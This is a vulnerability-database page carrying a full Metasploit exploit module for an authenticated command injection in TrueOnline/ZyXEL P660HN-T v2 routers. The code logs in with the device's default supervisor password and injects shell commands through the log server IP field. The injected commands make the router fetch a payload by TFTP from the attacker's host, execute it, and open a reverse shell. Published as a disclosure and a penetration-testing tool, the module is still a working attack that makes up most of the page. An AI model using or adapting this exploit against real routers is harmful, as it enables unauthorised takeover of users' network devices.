Lucene search
K

TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection

🗓️ 01 Feb 2017 00:00:00Reported by Pedro RibeiroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 60 Views

TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection vulnerability in the remote log forwarding page. Exploitable using the "supervisor" account with default password. Possibility of presence in countries other than Thailand

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection',  
'Description' => %q{  
TrueOnline is a major ISP in Thailand, and it distributes a customised version of  
the ZyXEL P660HN-T v2 router. This customised version has an authenticated command injection  
vulnerability in the remote log forwarding page. This can be exploited using the "supervisor"  
account that comes with a default password on the device.  
This module was tested in an emulated environment, as the author doesn't have access to the  
Thai router any more. Any feedback should be sent directly to the module's author, as well as  
to the Metasploit project. Note that the inline payloads work best.  
There are Turkish and other language strings in the firmware, so it is likely that this  
firmware is not only distributed in Thailand. Other P660HN-T v2 in other countries might be  
vulnerable too.  
},  
'Author' =>  
[  
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'References' =>  
[  
['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],  
['URL', 'https://blogs.securiteam.com/index.php/archives/2910']  
],  
'Targets' =>  
[  
[ 'P660HN-T v2', {}],  
],  
'Privileged' => true,  
'Arch' => ARCH_MIPSBE,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp' },  
'DisclosureDate' => 'Dec 26 2016',  
'DefaultTarget' => 0))  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('USERNAME', [true, 'Username for the web interface (using default credentials)', 'supervisor']),  
OptString.new('PASSWORD', [true, 'Password for the web interface (using default credentials)', 'zyad1234']),  
OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),  
OptInt.new('DELAY', [true, "How long to wait for the device to download the payload", 30]),  
], self.class)  
end  
  
def check  
res = send_request_cgi!({  
'uri' => '/js/Multi_Language.js',  
'method' => 'GET'  
})  
if res && res.body =~ /P-660HN-T1A_IPv6/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
def send_cmd(cmd)  
res = send_request_cgi({  
'uri' => '/cgi-bin/pages/maintenance/logSetting/logSet.asp',  
'method' => 'POST',  
'cookie' => "SESSIONID=#{@cookie}",  
'vars_post' => {  
'logSetting_H' => '1',  
'active' => '1',  
'logMode' => 'LocalAndRemote',  
'serverPort' => rand_text_numeric(3),  
# we have a short space for the payload - only 28 chars!  
'serverIP' => "1.1.1.1`#{cmd}`&#",  
}  
})  
  
if res && res.code == 200  
return true  
else  
return false  
end  
end  
  
  
def exploit  
# first we authenticate  
@cookie = rand_text_alpha_lower(7)  
  
res = send_request_cgi({  
'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"),  
'method' => 'POST',  
'cookie' => "SESSIONID=#{@cookie}",  
'vars_post' => {  
'Loginuser' => 'supervisor',  
'Prestige_Login' => 'Login'  
}  
})  
  
if res && res.code == 200  
print_good("#{peer} - Successfully authenticated to the web interface.")  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate to the web interface.")  
end  
  
#this filename is used to store the payload on the device -> the fewer chars the better!  
filename = rand_text_alpha_lower(5)  
  
# while echo'ing the payload, we can only send 10 chars at a time (see advisory for details)  
exec_file = '/tmp/' + rand_text_alpha_lower(1)  
script_file = %{#!/bin/sh  
cd /tmp;tftp -g -r #{filename} #{datastore['LHOST']};chmod +x /tmp/#{filename};sleep 5;/tmp/#{filename} &}  
  
counter = 10  
res = send_cmd("echo -n \"#{script_file[0..counter]}\">#{exec_file}")  
if not res  
fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.")  
end  
  
while counter+1 < script_file.length  
if (counter + 10) > script_file.length  
ending = script_file.length - 1  
else  
ending = counter + 10  
end  
  
print_status("#{peer} - Successfully injected part of the payload, waiting 5 seconds before proceeding.")  
sleep 5  
  
send_cmd("echo -n \"#{script_file[counter+1..ending]}\">>#{exec_file}")  
if not res  
fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.")  
end  
  
counter += (ending - counter)  
end  
  
print_good("#{peer} - Injection finished!")  
@pl = generate_payload_exe  
  
#  
# start our server  
#  
print_status("#{peer} - Starting up our TFTP service")  
@tftp = Rex::Proto::TFTP::Server.new  
@tftp.register_file(filename,@pl,true)  
@tftp.start  
  
#  
# download payload  
#  
print_status("#{peer} - Asking the device to download and execute the payload")  
  
# these two commands have to be 15 chars or less!  
send_cmd("chmod +x #{exec_file}")  
send_cmd("#{exec_file} &")  
  
# wait for payload download  
wait_linux_payload  
@tftp.stop  
register_file_for_cleanup("/tmp/#{filename}")  
register_file_for_cleanup("#{exec_file}")  
sleep 10  
handler  
end  
  
def wait_linux_payload  
print_status("#{peer} - Waiting for the victim to request the ELF payload...")  
waited = 0  
while (not @tftp.files.length == 0)  
select(nil, nil, nil, 1)  
waited += 1  
if (waited > datastore['DELAY'])  
@tftp.stop  
fail_with(Failure::Unknown, "#{peer} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")  
end  
end  
print_good("#{peer} - Payload was downloaded, wait for shell!")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation